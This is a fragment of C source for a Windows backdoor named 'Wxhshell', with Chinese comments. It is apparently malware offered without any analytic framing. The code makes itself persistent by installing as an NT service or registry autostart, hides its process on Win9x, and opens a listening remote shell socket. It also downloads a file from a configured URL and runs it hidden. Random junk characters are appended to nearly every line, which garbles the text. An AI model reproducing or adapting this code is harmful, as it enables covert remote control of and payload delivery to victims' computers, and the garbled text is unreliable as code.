ULONG UniqueProcessId; vt
N5{C
ULONG InheritedFromUniqueProcessId; >I?Mi{'a
} PROCESS_BASIC_INFORMATION; Bkc-iC}F
arP+(1U
PROCNTQSIP NtQueryInformationProcess; pqSE|3*l
1,T9HpM
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {yHfE,
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L\ %_<2
xgz87d/<:
HANDLE hProcess; fhmr*E'J
PROCESS_BASIC_INFORMATION pbi; -z$0S%2?
.;b>
T
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w8
$Qh%J'<
if(NULL == hInst ) return 0; 6iG<"{/U5
O+?zn:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kPH^X}O$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v8Zgog)V
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
>Gu0&
,NEs{!
T
if (!NtQueryInformationProcess) return 0; ugB{2oq i
i =N\[&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -y?Z}5-rs
if(!hProcess) return 0; !yX<v%>_0
SN(=e#ljE
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; noA\5&hqW
nZCpT
|M5
CloseHandle(hProcess); ]$*{<
1H=wl=K
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +^?-}v
if(hProcess==NULL) return 0; 2g6_qsqi
//lZmyP?
HMODULE hMod; IWqxT?*
char procName[255]; 41o!2(e$
unsigned long cbNeeded; ,6O9#1A&i
fVUBCu
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 51qIo 4$
^-GX&ODa
CloseHandle(hProcess); t`T\d\
"g%:#'5
if(strstr(procName,"services")) return 1; // 以服务启动 cqY.^f.
xm|4\H&Bg
return 0; // 注册表启动 .)>/!|i
} N&APqT
sBtG}Mo)
// 主模块 ~'J =!Xy
int StartWxhshell(LPSTR lpCmdLine) W 8$=a
{ i?>>
9f@F
SOCKET wsl; B"m:<@ "
BOOL val=TRUE; Kxc$wN<
int port=0; +){a[@S@x
struct sockaddr_in door; 8TZA T%4
_MbVF>JOx
if(wscfg.ws_autoins) Install(); `A'I/Hf5
v^W?o}W
port=atoi(lpCmdLine); -`dxx)x
u rXb!e{l
if(port<=0) port=wscfg.ws_port; 3>9 dJx4I
#IaBl?}r^
WSADATA data; ~,!hE&LE~
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yp{F8V 8
LnTe_Q7_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 90iW-"l+[
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x;FO|fH
door.sin_family = AF_INET; mnQjX ?
door.sin_addr.s_addr = inet_addr("127.0.0.1"); QP5:M!O<)
door.sin_port = htons(port); xrVZxK:!
h2|vB+W-
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9U9c"'g
closesocket(wsl); '%-xe3
return 1; 8U<.16+5Q
} mXU?+G0
Ag#5.,B-
if(listen(wsl,2) == INVALID_SOCKET) { KPjqw{gR_R
closesocket(wsl); N(-%"#M$
return 1; vQYfoam;
} _`@Xy!Ye
Wxhshell(wsl); A,lw-(.z4Z
WSACleanup(); &lh_-@Xz
|:=b9kv
return 0; !|<f%UO
*K jVPs
} Rhv".epz
0Dm`Ek3A7x
// 以NT服务方式启动 !
jX+ox
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :*P___S=
{ =*:[(Py1
DWORD status = 0; W|H4i;u
DWORD specificError = 0xfffffff; s/G5wRl<
{`K]sa7`
serviceStatus.dwServiceType = SERVICE_WIN32; oa&US_
serviceStatus.dwCurrentState = SERVICE_START_PENDING; m>uI\OY{n
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p#;dLM/EA
serviceStatus.dwWin32ExitCode = 0; iTugvb
serviceStatus.dwServiceSpecificExitCode = 0; D;^ZWz0
serviceStatus.dwCheckPoint = 0; )|Vg/S
serviceStatus.dwWaitHint = 0; b*FU*)<4.
oX2DFgz
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lYZ@a4TA
if (hServiceStatusHandle==0) return; KSgQ:_u4}
X[~f:E[1J
status = GetLastError(); [2QY
if (status!=NO_ERROR) N
t>HztXd
{ P96Cw~<Q?
serviceStatus.dwCurrentState = SERVICE_STOPPED; o
>Rw}R
serviceStatus.dwCheckPoint = 0; y13CR2t6
serviceStatus.dwWaitHint = 0; U/3e,`c
serviceStatus.dwWin32ExitCode = status; uF]D
serviceStatus.dwServiceSpecificExitCode = specificError; #>E3' 5b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Qtp"#{
return; 0l(E!d8&'
} 2yJ7]+Jd7Y
"lU]tIpCu
serviceStatus.dwCurrentState = SERVICE_RUNNING;
KF:]4`$
serviceStatus.dwCheckPoint = 0; [I++>4
serviceStatus.dwWaitHint = 0; ,WO%L~db
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t7*G91Hoq&
} =p,4=wo{
=0s`4Y"+
// 处理NT服务事件,比如:启动、停止 *%Nns',
VOID WINAPI NTServiceHandler(DWORD fdwControl) <nOuyGIZ
{ r?"}@MRW
switch(fdwControl) $LxG>db
{ GFQG(7G9
case SERVICE_CONTROL_STOP: ~51kiQW
serviceStatus.dwWin32ExitCode = 0; K4?t' dd]
serviceStatus.dwCurrentState = SERVICE_STOPPED; JO&;bT<
serviceStatus.dwCheckPoint = 0; aR="5{en{:
serviceStatus.dwWaitHint = 0; uGP[l`f|FQ
{ 9LqMQv"xW
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (5Z8zNH`3
} 8g#
c%eZ
return; mJGO)u&
case SERVICE_CONTROL_PAUSE: V(lK`dY
serviceStatus.dwCurrentState = SERVICE_PAUSED; -~(0O
break; gfdPx:7^
case SERVICE_CONTROL_CONTINUE: 7E!";HT
serviceStatus.dwCurrentState = SERVICE_RUNNING; M]6w^\4j9
break; c]%;^)
case SERVICE_CONTROL_INTERROGATE: k Z+ q
break; zH=/.31Q
}; vu_>U({.
T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =A0"0D{\
} =9DhO7I'
uS:
A4tN
// 标准应用程序主函数 nxn[ ~~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?8wwd!)x%
{ Q8;x9o@p
F1?CqN M
// 获取操作系统版本 A=v lC?&Z
OsIsNt=GetOsVer(); j{Yt70Wv
GetModuleFileName(NULL,ExeFile,MAX_PATH); jpYw#]Q
f H#F"^A
// 从命令行安装 <?>I\
if(strpbrk(lpCmdLine,"iI")) Install(); ny!lja5[
:Bx+WW&P.i
// 下载执行文件 dDv{9D,
if(wscfg.ws_downexe) { O:`GL1{ve?
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RQj`9F
WinExec(wscfg.ws_filenam,SW_HIDE); E(aX4^]g
} " ;-{~
7X9+Qj;
if(!OsIsNt) { o ;[C(OS
// 如果时win9x,隐藏进程并且设置为注册表启动 YiIddQ
HideProc(); ;1{iF2jZ:
StartWxhshell(lpCmdLine); %Lh-aP{[e
} u|_LR5S!j
else Q-!
i$#-
if(StartFromService()) RlI
W&y
// 以服务方式启动 S4l)TtY
StartServiceCtrlDispatcher(DispatchTable); dJdD"xj
else G zJ9N`
// 普通方式启动 {+@ms$z
StartWxhshell(lpCmdLine); q5:0&:m$4$
wo7N7R5
return 0; 8~&F/C*
}